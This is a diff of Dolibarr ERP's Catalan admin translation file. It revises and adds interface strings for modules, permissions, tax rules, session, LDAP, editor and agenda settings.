TheKeyIsTheNameOfHtmlField=Aquest és el nom del camp HTML. Es necessiten coneixements tècnics per a llegir el contingut de la pàgina HTML per a obtenir el nom clau d’un camp. PageUrlForDefaultValues=Has d'introduir aquí l'URL relatiu de la pàgina. Si inclous paràmetres a l'URL, els valors predeterminats seran efectius si tots els paràmetres s'estableixen en el mateix valor. -PageUrlForDefaultValuesCreate=
      Exemple:
      Per al formulari per a crear un tercer nou, és %s.
      Per a l'URL dels mòduls externs instal·lats al directori personalitzat, no incloeu el "custom/", així que utilitzeu una ruta com mymodule/mypage.php i no custom/mymodule/mypage.php.
      Si només voleu un valor per defecte si l'URL té algun paràmetre, podeu utilitzar %s -PageUrlForDefaultValuesList=
      Exemple:
      Per a la pàgina que llista els tercers, és %s.
      Per a l'URL dels mòduls externs instal·lats al directori personalitzat, no incloeu el "custom/", de manera que utilitzeu una ruta com mymodule/mypagelist.php i no custom/mymodule/mypagelist.php.
      Si només voleu un valor per defecte si l'URL té algun paràmetre, podeu utilitzar %s +PageUrlForDefaultValuesCreate=
      Exemple:
      Per al formulari per a crear un tercer nou, és %s.
      Per a l'URL dels mòduls externs instal·lats al directori personalitzat, no inclogueu el «custom/», de manera que utilitzeu un camí com elmeumodul/lamevapagina.php i no custom/elmeumodul/lamevapagina.php.
      Si només voleu un valor predeterminat si l'URL té algun paràmetre, podeu utilitzar %s +PageUrlForDefaultValuesList=
      Exemple:
      Per a la pàgina que llista els tercers, és %s.
      Per a l'URL dels mòduls externs instal·lats al directori personalitzat, no inclogueu «custom/», així que utilitzeu un camí com elmeumodul/lamevapaginallistat.php i no custom/elmeumodul/lamevapaginallistat.php.
      Si només voleu un valor predeterminat si l'URL té algun paràmetre, podeu utilitzar %s AlsoDefaultValuesAreEffectiveForActionCreate=També tingueu en compte que sobreescriure valors predeterminats per a la creació de formularis funciona només per a pàgines dissenyades correctament (de manera que amb el paràmetre action = create o presend ...) EnableDefaultValues=Activa la personalització dels valors predeterminats -EnableOverwriteTranslation=Habilita l'ús de la traducció sobreescrita +EnableOverwriteTranslation=Permet la personalització de les traduccions GoIntoTranslationMenuToChangeThis=S'ha trobat una traducció de la clau amb aquest codi. Per a canviar aquest valor, l’heu d’editar des d'Inici-Configuració-Traducció. WarningSettingSortOrder=Advertiment: establir un ordre d'ordenació per defecte pot provocar un error tècnic en entrar a la pàgina de llista si el camp és un camp desconegut. Si teniu aquest error, torneu a aquesta pàgina per a eliminar l'ordre de classificació predeterminat i restaurar el comportament predeterminat. Field=Camp @@ -643,11 +646,13 @@ Module2300Name=Tasques programades Module2300Desc=Gestió de tasques programades (àlies cron o taula de crons) Module2400Name=Esdeveniments/Agenda Module2400Desc=Seguiment d'esdeveniments. Registre d'esdeveniments automàtics per a fer el seguiment o registrar esdeveniments manuals o reunions. Aquest és el mòdul principal per a una bona gestió de la relació amb clients o proveïdors. +Module2430Name=Sistema de calendari de reserves +Module2430Desc=Proporcioneu un calendari en línia per a permetre que qualsevol persona pugui reservar una cita, segons els rangs o les disponibilitats predefinits. Module2500Name=SGD / GCE Module2500Desc=Sistema de gestió de documents / Gestió de continguts electrònics. Organització automàtica dels vostres documents generats o emmagatzemats. Compartiu-los quan ho necessiteu. -Module2600Name=Serveis API/WEB (servidor SOAP) +Module2600Name=Serveis API / Web (servidor SOAP) Module2600Desc=Habilita el servidor SOAP de Dolibarr que ofereix serveis API -Module2610Name=Serveis API/WEB (servidor REST) +Module2610Name=Serveis API / Web (servidor REST) Module2610Desc=Habilita el servidor REST de Dolibarr que ofereix serveis API Module2660Name=Crida a WebServices (client SOAP) Module2660Desc=Activa el client de serveis web Dolibarr (es pot utilitzar per a enviar dades/sol·licituds a servidors externs. Actualment només s'admeten les comandes de compra). @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capacitats de conversió GeoIP Maxmind Module3200Name=Arxius inalterables Module3200Desc=Activa el registre d'alguns esdeveniments de negoci en un registre inalterable. Els esdeveniments s'arxiven en temps real. El registre és una taula d'esdeveniments encadenats que només es poden llegir i exportar. Aquest mòdul pot ser obligatori per a alguns països. +Module3300Name=Creador de mòduls +Module3300Desc=Una eina RAD (Desenvolupament ràpid d'aplicacions: codi baix i sense codi) per a ajudar els desenvolupadors o usuaris avançats a crear el seu propi mòdul/aplicació. Module3400Name=Xarxes socials Module3400Desc=Activa els camps de les xarxes socials a tercers i adreces (skype, twitter, facebook...). Module4000Name=RH @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Afegeix funcions per a gestionar Incoterms Module63000Name=Recursos Module63000Desc=Gestiona els recursos (impressores, cotxes, habitacions...) que pots compartir en esdeveniments -Permission11=Consulta factures de client +Module66000Name=Activa l'autenticació OAuth2 +Module66000Desc=Proporcioneu una eina per a generar i gestionar fitxes OAuth2. El testimoni pot ser utilitzat per alguns altres mòduls. +Module94160Name=Recepcions +Permission11=Consulta les factures dels clients (i els cobraments) Permission12=Crear/Modificar factures Permission13=Invalida les factures dels clients Permission14=Valida les factures dels clients @@ -842,16 +852,16 @@ Permission286=Exporta contactes Permission291=Consultar tarifes Permission292=Indica permisos en les tarifes Permission293=Modifica les tarifes de clients -Permission300=Consulta codis de barra -Permission301=Crea/modifica codis de barres -Permission302=Suprimeix codis de barres +Permission301=Generar fulls PDF de codis de barres +Permission304=Crea/modifica codis de barres +Permission305=Suprimeix codis de barres Permission311=Consultar serveis Permission312=Assignar serveis/subscripció a un contracte Permission331=Consultar bookmarks Permission332=Crear/modificar bookmarks Permission333=Eliminar bookmarks Permission341=Consultar els seus propis permisos -Permission342=Crear/modificar la seva pròpia info d'usuari +Permission342=Crea/modifica la seva pròpia informació d'usuari Permission343=Modificar la seva pròpia contrasenya Permission344=Modificar els seus propis permisos Permission351=Consultar els grups @@ -936,11 +946,11 @@ Permission1186=Envia comandes de compra Permission1187=Rebut de confirmació de comandes de compra Permission1188=Suprimeix comandes de compra Permission1189=Marca/Desmarca la recepció d’una comanda de compra -Permission1190=Aprova (segona aprovació) les comandes de compra +Permission1190=Aprova (segona aprovació) comandes de compra Permission1191=Exporta les comandes dels proveïdors i els seus atributs Permission1201=Obté el resultat d'una exportació Permission1202=Crear/modificar exportacions -Permission1231=Consulta factures de proveïdor +Permission1231=Consulta les factures de proveïdors (i els pagaments) Permission1232=Crea/modifica factures de proveïdor Permission1233=Valida factures de proveïdor Permission1234=Suprimeix factures de proveïdor @@ -971,13 +981,14 @@ Permission3301=Genera mòduls nous Permission4001=Llegir habilitat/ocupació/posició Permission4002=Crear/modificar habilitat/ocupació/posició Permission4003=Esborra habilitat/ocupació/posició -Permission4020=Llegir avaluacions -Permission4021=Crea/modifica la teva avaluació -Permission4022=Valida l'avaluació -Permission4023=Elimina l'avaluació -Permission4030=Veure menú comparatiu +Permission4021=Consulta les avaluacions (teves i dels teus subordinats) +Permission4022=Crear/modificar avaluacions +Permission4023=Valida l'avaluació +Permission4025=Elimina l'avaluació +Permission4028=Veure menú comparatiu Permission4031=Llegeix informació personal Permission4032=Escriu informació personal +Permission4033=Consulta totes les avaluacions (fins i tot les dels usuaris no subordinats) Permission10001=Llegiu el contingut del lloc web Permission10002=Crea / modifica contingut del lloc web (contingut html i javascript) Permission10003=Creeu / modifiqueu el contingut del lloc web (codi php dinàmic). Perillós, s'ha de reservar per a desenvolupadors restringits. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Tipus d'alienació d'actius TypeOfUnit=Tipus d’unitat SetupSaved=Configuració desada SetupNotSaved=Configuració no desada +OAuthServiceConfirmDeleteTitle=Suprimeix l'entrada d'OAuth +OAuthServiceConfirmDeleteMessage=Esteu segur que voleu suprimir aquesta entrada d'OAuth? També se suprimiran totes les fitxes existents. +ErrorInEntryDeletion=Error en la supressió de l'entrada +EntryDeleted=S'ha suprimit l'entrada BackToModuleList=Torna a la llista de mòduls BackToDictionaryList=Torna a la llista de Diccionaris TypeOfRevenueStamp=Tipus de segell fiscal @@ -1088,7 +1103,7 @@ VATManagement=Gestió IVA VATIsUsedDesc=De manera predeterminada, quan es creen clients potencials, factures, comandes, etc., la tarifa de l'impost de vendes segueix la norma estàndard activa:
      Si el venedor no està subjecte a l'impost de vendes, l'impost de vendes s'estableix per defecte a 0. Final de la regla.
      Si el (país del venedor = país del comprador), l'impost de vendes per defecte és igual a l'impost de vendes del producte al país del venedor. Fi de la regla.
      Si el venedor i el comprador es troben a la Comunitat Europea i els productes són productes relacionats amb el transport (transport, enviament, línia aèria), l'IVA per defecte és 0. Aquesta norma depèn del país del venedor, consulteu amb el vostre comptador. L'IVA s'ha de pagar pel comprador a l'oficina de duanes del seu país i no al venedor. Fi de la regla.
      Si el venedor i el comprador es troben a la Comunitat Europea i el comprador no és una empresa (amb un número d'IVA intracomunitari registrat), l'IVA es fa per defecte al tipus d'IVA del país del venedor. Fi de la regla.
      Si el venedor i el comprador es troben a la Comunitat Europea i el comprador és una empresa (amb un número d'IVA intracomunitari registrat), l'IVA és 0 per defecte. Fi de la regla.
      En qualsevol altre cas, el valor predeterminat proposat és l'impost de vendes = 0. Fi de la regla. VATIsNotUsedDesc=El tipus d'IVA proposat per defecte és 0. Aquest és el cas d'associacions, particulars o algunes petites societats. VATIsUsedExampleFR=A França, es tracta de les societats o organismes que trien un règim fiscal general (General simplificat o General normal), règim en el qual es declara l'IVA. -VATIsNotUsedExampleFR=A França, es tracta d'associacions que no siguin declarades per vendes o empreses, organitzacions o professions liberals que hagin triat el sistema fiscal de la microempresa (Impost sobre vendes en franquícia) i paguen una franquícia. Impost sobre vendes sense declaració d'impost sobre vendes. Aquesta elecció mostrarà la referència "Impost sobre vendes no aplicable - art-293B de CGI" a les factures. +VATIsNotUsedExampleFR=A França, s'entén per associacions que no declaren l'impost de vendes o d'empreses, organitzacions o professions liberals que han escollit el sistema fiscal de microempresa (Impost sobre vendes en franquícia) i han pagat un impost sobre vendes de franquícia sense cap declaració d'impost sobre vendes. Aquesta opció mostrarà la referència «Impost sobre vendes no aplicable - art-293B de CGI» a les factures. ##### Local Taxes ##### TypeOfSaleTaxes=Tipus d’impost sobre vendes LTRate=Tarifa @@ -1125,9 +1140,9 @@ CalcLocaltax2Desc=Els informes es basen en el total de les compres CalcLocaltax3=Vendes CalcLocaltax3Desc=Els informes es basen en el total de les vendes NoLocalTaxXForThisCountry=Segons la configuració d’impostos (vegeu %s - %s - %s), el vostre país no necessita utilitzar aquest tipus d’impost -LabelUsedByDefault=Etiqueta utilitzada per defecte si no es troba cap traducció per aquest codi -LabelOnDocuments=Etiqueta sobre documents -LabelOrTranslationKey=Clau de traducció o cadena +LabelUsedByDefault=Nom utilitzat per defecte si no es troba cap traducció del codi +LabelOnDocuments=Nom als documents +LabelOrTranslationKey=Nom o clau de traducció ValueOfConstantKey=Valor d’una constant de configuració ConstantIsOn=L'opció %s està activada NbOfDays=Nombre de dies @@ -1194,7 +1209,7 @@ DoNotSuggestPaymentMode=No ho suggereixis NoActiveBankAccountDefined=Cap compte bancari actiu definit OwnerOfBankAccount=Titular del compte %s BankModuleNotActive=Mòdul comptes bancaris no activat -ShowBugTrackLink=Mostra l'enllaç " %s " +ShowBugTrackLink=Mostra l'enllaç «%s» ShowBugTrackLinkDesc=Manteniu-lo buit per no mostrar aquest enllaç, utilitzeu el valor 'github' per a l'enllaç al projecte Dolibarr o definiu directament un URL 'https://...' Alerts=Alertes DelaysOfToleranceBeforeWarning=S'està mostrant una alerta d'advertència per... @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

      Aquest programari és SetupDescription5=Altres entrades del menú d'instal·lació gestionen paràmetres opcionals. SetupDescriptionLink= %s - %s SetupDescription3b=Paràmetres bàsics utilitzats per a personalitzar el comportament predeterminat de la vostra aplicació (p. ex., per a funcions relacionades amb el país). -SetupDescription4b=Aquest programari és un conjunt de molts mòduls / aplicacions. Cal activar i configurar els mòduls relacionats amb les vostres necessitats. Les entrades del menú apareixeran amb l’activació d’aquests mòduls. +SetupDescription4b=Aquest programari és un conjunt de molts mòduls/aplicacions. Cal activar els mòduls relacionats amb les vostres necessitats. Les entrades del menú apareixeran amb l'activació d'aquests mòduls. AuditedSecurityEvents=Esdeveniments de seguretat que s’auditen NoSecurityEventsAreAduited=No s’audita cap esdeveniment de seguretat. Podeu activar-les des del menú %s Audit=Esdeveniments de seguretat @@ -1243,14 +1258,15 @@ LogEventDesc=Habiliteu el registre per a esdeveniments de seguretat específics. AreaForAdminOnly=Els paràmetres de configuració només poden ser establerts per usuaris administradors. SystemInfoDesc=La informació del sistema és informació tècnica diversa que obteniu en mode de només lectura i visible només per als administradors. SystemAreaForAdminOnly=Aquesta àrea només està disponible per als usuaris administradors. Els permisos d'usuari de Dolibarr no poden canviar aquesta restricció. -CompanyFundationDesc=Editeu la informació de la vostra empresa / organització. Feu clic al botó "%s" al final de la pàgina quan hagi acabat. +CompanyFundationDesc=Editeu la informació de la vostra empresa/organització. Fes clic al botó «%s» a la part inferior de la pàgina quan hagis acabat. +MoreNetworksAvailableWithModule=És possible que hi hagi més xarxes socials disponibles activant el mòdul "Xarxes socials". AccountantDesc=Si teniu un comptable extern, podeu editar aquí la seva informació. AccountantFileNumber=Número de fila DisplayDesc=Els paràmetres que afecten l'aspecte i la presentació de l'aplicació es poden modificar aquí. AvailableModules=Mòduls/complements disponibles ToActivateModule=Per a activar mòduls, aneu a l'àrea de configuració (Inici->Configuració->Mòduls). SessionTimeOut=Temps de desconnexió per a la sessió -SessionExplanation=Aquest número garanteix que la sessió no caduqui abans d'aquest retard, si el netejador de sessió es fa mitjançant un netejador de sessió de PHP intern (i res més). El netejador de sessió intern de PHP no garanteix que la sessió expire després d'aquest retard. Caducarà, després d'aquest retard, i quan s'executi el netejador de sessió, de manera que cada accés %s / %s , però només durant l'accés fet per altres sessions (si el valor és 0, significa que l'eliminació de la sessió només es fa mitjançant un extern procés).
      Nota: en alguns servidors amb un mecanisme de neteja de sessió externa (cron sota debian, ubuntu ...), les sessions es poden destruir després d'un període definit per una configuració externa, independentment del valor introduït aquí. +SessionExplanation=Aquest número garanteix que la sessió no caducarà mai abans d'aquest retard, si el netejador de sessions el fa el netejador de sessions intern de PHP (i res més). El netejador de sessions intern de PHP no garanteix que la sessió caduqui després d'aquest retard. Caducarà, després d'aquest retard, i quan s'executi el netejador de sessions, de manera que cada accés %s/%s, però només durant l'accés realitzat per altres sessions (si el valor és 0, vol dir que només s'esborra la sessió per un procés extern).
      Nota: en alguns servidors amb un mecanisme de neteja de sessions extern (cron sota debian, ubuntu...), les sessions es poden destruir després d'un període definit per una configuració externa, sense importar quin sigui el valor introduït aquí. SessionsPurgedByExternalSystem=Sembla que les sessions en aquest servidor són netejades mitjançant un mecanisme extern (cron sota debian, ubuntu ...), probablement cada %s segons (= el valor del paràmetre sessió.gc_maxlifetime ), així que modificant aquest valor aquí no té cap efecte, Heu de sol·licitar a l’administrador del servidor que canviï la durada de la sessió. TriggersAvailable=Triggers disponibles TriggersDesc=Els activadors són fitxers que modificaran el comportament del flux de treball de Dolibarr un cop copiat al directori htdocs/core/triggers. Realitzen accions noves, activades en esdeveniments Dolibarr (creació d'empresa nova, validació de factures...). @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Els activadors d'aquest fitxer estan actius, ja que GeneratedPasswordDesc=Trieu el mètode que s'utilitzarà per a les contrasenyes generades automàticament. DictionaryDesc=Afegeix totes les dades de referència. Pots afegir els teus valors per defecte. ConstDesc=Aquesta pàgina permet editar (anul·lar) paràmetres no disponibles en altres pàgines. Aquests són paràmetres reservats només per a desenvolupadors o solucions avançades de problemes. +MiscellaneousOptions=Opcions diverses MiscellaneousDesc=Aquí es defineixen la resta de paràmetres relacionats amb la seguretat. LimitsSetup=Configuració de límits i precisions LimitsDesc=Podeu definir aquí els límits i precisions utilitzats per Dolibarr @@ -1290,10 +1307,12 @@ PreviousDumpFiles=Fitxers de còpia de seguretat existents PreviousArchiveFiles=Fitxers d’arxiu existents WeekStartOnDay=Primer dia de la setmana RunningUpdateProcessMayBeRequired=Sembla que cal executar el procés d’actualització (la versió del programa %s és diferent de la versió de la base de dades %s) -YouMustRunCommandFromCommandLineAfterLoginToUser=Ha d'executar la comanda des d'un shell després d'haver iniciat sessió amb el compte %s. +YouMustRunCommandFromCommandLineAfterLoginToUser=Heu d'executar aquesta ordre des de la línia d'ordres després d'iniciar sessió a un intèrpret d'ordres amb l'usuari %s o heu d'afegir l'opció -W al final de la línia d'ordres per a proporcionar %s contrasenya YourPHPDoesNotHaveSSLSupport=Funcions SSL no disponibles al vostre PHP DownloadMoreSkins=Més temes per a descarregar SimpleNumRefModelDesc=Retorna el número de referència en el format %syymm-nnnn on yy és l'any, mm és el mes i nnnn és un número d'increment automàtic seqüencial sense restablir +SimpleRefNumRefModelDesc=Retorna el número de referència en el format n on n és un nombre seqüencial d'increment automàtic sense restabliment +AdvancedNumRefModelDesc=Retorna el número de referència en el format %syymm-nnnn on yy és l'any, mm és el mes i nnnn és un número d'increment automàtic seqüencial sense restablir SimpleNumRefNoDateModelDesc=Retorna el número de referència en el format %s-nnnn on nnnn és un número d’increment automàtic seqüencial sense restablir ShowProfIdInAddress=Mostra el DNI professional amb adreces ShowVATIntaInAddress=Amaga el número d’IVA intracomunitari @@ -1351,7 +1370,7 @@ TitleNumberOfActivatedModules=Mòduls activats TotalNumberOfActivatedModules=Mòduls activats: %s / %s YouMustEnableOneModule=Ha d'activar almenys 1 mòdul. YouMustEnableTranslationOverwriteBefore=Primer heu d'activar la sobreescriptura de traduccions per a poder substituir una traducció -ClassNotFoundIntoPathWarning=La classe %s no s'ha trobat a la ruta PHP +ClassNotFoundIntoPathWarning=La classe %s no s'ha trobat al camí PHP YesInSummer=Sí a l'estiu OnlyFollowingModulesAreOpenedToExternalUsers=Tingueu en compte que només els següents mòduls estan disponibles per als usuaris externs (independentment dels permisos d'aquests usuaris) i només si es concedeixen permisos:
      SuhosinSessionEncrypt=Emmagatzematge de sessions xifrades per Suhosin @@ -1380,7 +1399,7 @@ GetBarCode=Obté el codi de barres NumberingModules=Models de numeració DocumentModules=Models de documents ##### Module password generation -PasswordGenerationStandard=Retorna una contrasenya generada segons l'algorisme intern de Dolibarr: %s caràcters amb barreja de números i caràcters en minúscula. +PasswordGenerationStandard=Retorna una contrasenya generada segons l'algorisme intern de Dolibarr: %s caràcters que contenen números i caràcters barrejats. PasswordGenerationNone=No suggereixis una contrasenya generada. La contrasenya s'ha d'escriure manualment. PasswordGenerationPerso=Retorna una contrasenya segons la vostra configuració personalitzada. SetupPerso=Segons la vostra configuració @@ -1409,7 +1428,7 @@ WatermarkOnDraft=Marca d'aigua en els documents esborrany JSOnPaimentBill=Activa la funció per a emplenar automàticament les línies de pagament al formulari de pagament CompanyIdProfChecker=Normes per a identificacions professionals MustBeUnique=Ha de ser únic? -MustBeMandatory=Obligatori per a crear tercers (si es defineix el NIF/CIF o el tipus d’empresa)? +MustBeMandatory=Obligatori per a crear tercers (si es defineix el NIF o el tipus d’empresa)? MustBeInvoiceMandatory=És obligatori per a validar les factures? TechnicalServicesProvided=Prestació de serveis tècnics #####DAV ##### @@ -1434,6 +1453,10 @@ SuppliersPayment=Pagaments a proveïdors SupplierPaymentSetup=Configuració de pagaments a proveïdors InvoiceCheckPosteriorDate=Comproveu la data de fabricació abans de la validació InvoiceCheckPosteriorDateHelp=La validació d'una factura estarà prohibida si la seva data és anterior a la data de l'última factura del mateix tipus. +InvoiceOptionCategoryOfOperations=Mostra la menció «categoria d'operacions» a la factura. +InvoiceOptionCategoryOfOperationsHelp=Segons la situació, la menció apareixerà en la forma:
      - Categoria d'operacions: Entrega de mercaderies
      - Categoria d'operacions: Prestació de serveis
      - Categoria d'operacions: Mixta - Entrega de mercaderies i Prestació de serveis +InvoiceOptionCategoryOfOperationsYes1=Sí, a sota del bloc d'adreces +InvoiceOptionCategoryOfOperationsYes2=Sí, a la cantonada inferior esquerra ##### Proposals ##### PropalSetup=Configuració del mòdul Pressupostos ProposalsNumberingModules=Models de numeració de pressupostos @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Marca d'aigua en contractes (en cas d'estar buit) ##### Members ##### MembersSetup=Configuració del mòdul Socis MemberMainOptions=Opcions principals +MemberCodeChecker=Opcions per a la generació automàtica de codis de soci AdherentLoginRequired= Gestiona un compte d'usuari per a cada soci AdherentMailRequired=Cal un correu electrònic per a crear un soci nou MemberSendInformationByMailByDefault=La casella de selecció per a enviar una confirmació per correu electrònic als socis (validació o nova subscripció) està activada per defecte MemberCreateAnExternalUserForSubscriptionValidated=Creeu un usuari extern per a cada subscripció nova membre validada -VisitorCanChooseItsPaymentMode=El visitant pot triar entre els modes de pagament disponibles +VisitorCanChooseItsPaymentMode=El visitant pot triar entre qualsevol forma de pagament disponible MEMBER_REMINDER_EMAIL=Activa el recordatori automàtic per correu electrònic de les subscripcions caducades. Nota: El mòdul %s s'ha d'habilitar i configurar correctament per a enviar recordatoris. MembersDocModules=Plantilles de documents per a documents generats a partir del registre de socis ##### LDAP setup ##### @@ -1569,8 +1593,8 @@ LDAPFieldLoginSamba=Nom d'usuari (samba, activedirectory) LDAPFieldLoginSambaExample=Exemple: samaccountname LDAPFieldFullname=Nom complet LDAPFieldFullnameExample=Exemple: cn -LDAPFieldPasswordNotCrypted=Contrasenya no encriptada -LDAPFieldPasswordCrypted=Contrasenya encriptada +LDAPFieldPasswordNotCrypted=La contrasenya no està xifrada +LDAPFieldPasswordCrypted=Contrasenya xifrada LDAPFieldPasswordExample=Exemple: userPassword LDAPFieldCommonNameExample=Exemple: cn LDAPFieldName=Nom @@ -1665,10 +1689,10 @@ DoNotUseDescriptionOfProdut=La descripció del producte mai no s’inclourà a l MergePropalProductCard=Activa a la pestanya Fitxers adjunts de producte/servei una opció per a combinar el document PDF del producte amb el PDF del pressupost si el producte/servei es troba en el pressupost ViewProductDescInThirdpartyLanguageAbility=Mostra les descripcions dels productes en formularis en l'idioma del tercer (en cas contrari, en l'idioma de l'usuari) UseSearchToSelectProductTooltip=A més, si teniu un gran nombre de productes (> 100.000), podeu augmentar la velocitat establint la constant PRODUCT_DONOTSEARCH_ANYWHERE a 1 a Configuració->Altres. La cerca es limitarà a l'inici de la cadena. -UseSearchToSelectProduct=Espereu fins que premeu una tecla abans de carregar el contingut de la llista combinada del producte (això pot augmentar el rendiment si teniu una gran quantitat de productes, però és menys convenient) +UseSearchToSelectProduct=Espereu fins que premeu una tecla abans de carregar el contingut de la llista combinada de productes (això pot augmentar el rendiment si teniu un gran nombre de productes, però és menys pràctic) SetDefaultBarcodeTypeProducts=Tipus de codi de barres utilitzat per defecte per als productes SetDefaultBarcodeTypeThirdParties=Tipus de codi de barres utilitzat per defecte per als tercers -UseUnits=Defineix una unitat de mesura per Quantitats per les línies de pressupostos, comandes o factures. +UseUnits=Definiu una unitat de mesura per a Quantitat durant l'edició de línies de comanda, pressupost o factura ProductCodeChecker= Mòdul per a la generació i comprovació del codi d'un producte o servei ProductOtherConf= Configuració de productes/serveis IsNotADir=No és un directori! @@ -1677,7 +1701,7 @@ SyslogSetup=Configuració del mòdul Syslog SyslogOutput=Sortida del log SyslogFacility=Facilitat SyslogLevel=Nivell -SyslogFilename=Nom i ruta de l'arxiu +SyslogFilename=Nom i camí del fitxer YouCanUseDOL_DATA_ROOT=Podeu utilitzar DOL_DATA_ROOT/dolibarr.log per a un fitxer de registre al directori "documents" de Dolibarr. Podeu establir un camí diferent per a emmagatzemar aquest fitxer. ErrorUnknownSyslogConstant=La constant %s no és una constant syslog coneguda OnlyWindowsLOG_USER=En Windows, només s'admetrà la funció LOG_USER @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Activar editor avançat per a : FCKeditorForNotePublic=WYSIWIG creació/edició del camp "notes públiques" d'elements FCKeditorForNotePrivate=Creació/edició WYSIWIG del camp "notes privades" d'elements FCKeditorForCompany=Creació / edició de WYSIWIG de la descripció del camp d'elements (excepte productes / serveis) -FCKeditorForProduct=Creació / edició de WYSIWIG de la descripció del camp de productes / serveis -FCKeditorForProductDetails=Creació/edició WYSIWIG de línies de detalls de productes per a totes les entitats (pressupostos, comandes, factures, etc.). Advertiment: no es recomana utilitzar aquesta opció per a aquest cas, ja que pot crear problemes amb caràcters especials i format de pàgina en crear fitxers PDF. +FCKeditorForProductDetails=Creació/edició WYSIWIG de descripció de productes o línies per objectes (línies de pressupostos, comandes, factures, etc...). +FCKeditorForProductDetails2=Avís: l'ús d'aquesta opció per a aquest cas no es recomana, ja que pot crear problemes amb caràcters especials i format de pàgina en crear fitxers PDF. FCKeditorForMailing= Creació/edició WYSIWIG dels E-Mails FCKeditorForUserSignature=Creació/edició WYSIWIG de la signatura de l'usuari FCKeditorForMail=Edició/creació WYSIWIG per tots els e-mails (excepte Eines->eMailing) @@ -1765,11 +1789,11 @@ DetailId=Identificador del menú DetailMenuHandler=Nom del gestor de menús DetailMenuModule=Nom del mòdul si l'entrada del menú és resultant d'un mòdul DetailType=Tipus de menú (superior o esquerre) -DetailTitre=Etiqueta de menú o codi d'etiqueta per traducció -DetailUrl=URL de la pàgina cap a la qual el menú apunta +DetailTitre=Nom del menú o codi d'etiqueta per a la traducció +DetailUrl=URL on t'envia el menú (enllaç URL relatiu o enllaç extern amb https://) DetailEnabled=Condició de mostrar o no DetailRight=Condició per a mostrar menús grisos no autoritzats -DetailLangs=Nom del fitxer Lang pel codi d'etiqueta de traducció +DetailLangs=Nom del fitxer de llengua per a la traducció del codi de l'etiqueta DetailUser=Intern / Extern / Tots Target=Objectiu DetailTarget=Orientació per a enllaços (_blank top obre una finestra nova) @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Utilitzeu tipus d'esdeveniments (gestionats en el menú Co AGENDA_USE_EVENT_TYPE_DEFAULT=Estableix automàticament aquest valor predeterminat per al tipus d'esdeveniment en el formulari de creació de l'esdeveniment AGENDA_DEFAULT_FILTER_TYPE=Estableix automàticament aquest tipus d'esdeveniment al filtre de cerca de la vista d'agenda AGENDA_DEFAULT_FILTER_STATUS=Estableix automàticament aquest estat per a esdeveniments al filtre de cerca de la visualització d'agenda +AGENDA_EVENT_PAST_COLOR=Color de l'esdeveniment passat +AGENDA_EVENT_CURRENT_COLOR=Color de l'esdeveniment actual +AGENDA_EVENT_FUTURE_COLOR=Color de l'esdeveniment futur AGENDA_DEFAULT_VIEW=Quina vista voleu obrir de manera predeterminada en seleccionar el menú Agenda AGENDA_REMINDER_BROWSER=Activa el recordatori d'esdeveniments al navegador de l'usuari (Quan s'arriba a la data de recordatori, el navegador mostra una finestra emergent. Cada usuari pot desactivar aquestes notificacions des de la configuració de notificacions del navegador). AGENDA_REMINDER_BROWSER_SOUND=Habilita les notificacions sonores @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=La disminució d'accions en POS no é CashDeskYouDidNotDisableStockDecease=No vau desactivar la disminució de l'estoc en fer una venda des del TPV. Per tant, es requereix un magatzem. CashDeskForceDecreaseStockLabel=S'ha forçat la disminució de l'estoc de productes per lots. CashDeskForceDecreaseStockDesc=Disminuïu primer les dates més antigues de consumir i vendre. -CashDeskReaderKeyCodeForEnter=Codi clau per a "Enter" definit al lector de codi de barres (Exemple: 13) +CashDeskReaderKeyCodeForEnter=Codi ASCII per "Enter" definit al lector de codis de barres (Exemple: 13) ##### Bookmark ##### BookmarkSetup=Configuració del mòdul Bookmark BookmarkDesc=Aquest mòdul us permet gestionar els marcadors. També podeu afegir dreceres a totes les pàgines de Dolibarr o llocs web externs al menú de l'esquerra. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Models de numeració de factures de proveïdor IfSetToYesDontForgetPermission=Si establiu un valor vàlid, no us oblideu d'establir els permisos necessaris als grups o persones habilitades per la segona aprovació ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configuració del mòdul GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Ruta al fitxer que conté Maxmind ip a la traducció del país.
      Exemples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Camí al fitxer que conté la ip de Maxmind amb traducció del país NoteOnPathLocation=Tingueu en compte que el fitxer de dades IP a país ha de ser dins d’un directori que pugui llegir PHP (Comproveu la configuració de PHP open_basedir i els permisos del sistema de fitxers). YouCanDownloadFreeDatFileTo=Pot descarregar-se una versió demo gratuïta de l'arxiu de països Maxmind GeoIP a l'adreça %s. YouCanDownloadAdvancedDatFileTo=També pot descarregar-se una versió més completa de l'arxiu de països Maxmind GeoIP a l'adreça %s. @@ -1886,7 +1913,7 @@ ProjectsSetup=Configuració del mòdul Projectes ProjectsModelModule=Model de document per a informes de projectes TasksNumberingModules=Mòdul numeració de tasques TaskModelModule=Mòdul de documents informes de tasques -UseSearchToSelectProject=Espereu fins que es prem una tecla abans de carregar el contingut de la llista combo del projecte.
      Això pot millorar el rendiment si teniu una gran quantitat de projectes, però és menys convenient. +UseSearchToSelectProject=Espereu fins que es prem una tecla abans de carregar el contingut de la llista combinada del projecte.
